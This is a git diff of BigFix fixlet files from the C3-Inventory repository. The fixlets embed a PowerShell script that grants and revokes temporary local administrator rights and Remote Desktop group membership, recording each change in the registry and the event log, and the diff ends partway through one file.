+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes
index f0b3b2c60..83b41f1b6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Remove Current User from Remote Desktop Users - Windows
-  ID       : 24408
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-06-06T09:52:03
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Remove Current User from Remote Desktop Users - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes the currently logged on user from the Remote Desktop Users group.</P>
-<P><STRONG>Applicability Note:</STRONG> This Fixlet will be relevant if the currently logged on user is explicitely a member of the Remote Desktop Users group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>exists members whose (sid of it = sid of logged on user) of local group &quot;Remote Desktop User&quot;</Relevance>
-    <Category>Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /delete</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Remote Desktop Users - Windows
+  ID       : 24408
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:52:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Remote Desktop Users - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes the currently logged on user from the Remote Desktop Users group.</P>
+<P><STRONG>Applicability Note:</STRONG> This Fixlet will be relevant if the currently logged on user is explicitely a member of the Remote Desktop Users group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>exists members whose (sid of it = sid of logged on user) of local group &quot;Remote Desktop User&quot;</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /delete</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes
index df169a7a5..2a4a91ff2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes	
@@ -1,185 +1,185 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Remove Current User from Temporary Administrators - Windows
-  ID       : 24160
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:25:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Remove Current User from Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current&quot; of x32 registry</Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Revoke -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Temporary Administrators - Windows
+  ID       : 24160
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current&quot; of x32 registry</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes
index 268c9a3e7..76b02a1d2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes	
@@ -1,184 +1,184 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Remove Expired Users from Authorized Requestors - Windows
-  ID       : 24161
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:25:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Remove Expired Users from Authorized Requestors - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists values "Expiration" whose (it as time < now) of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary ADministrative Rights\Authorized Requestors\Current" of x32 registry]]></Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{concatenations ";" of names of keys whose (value "Expiration" of it as string as time < now) of key "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Revoke -Requestor"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
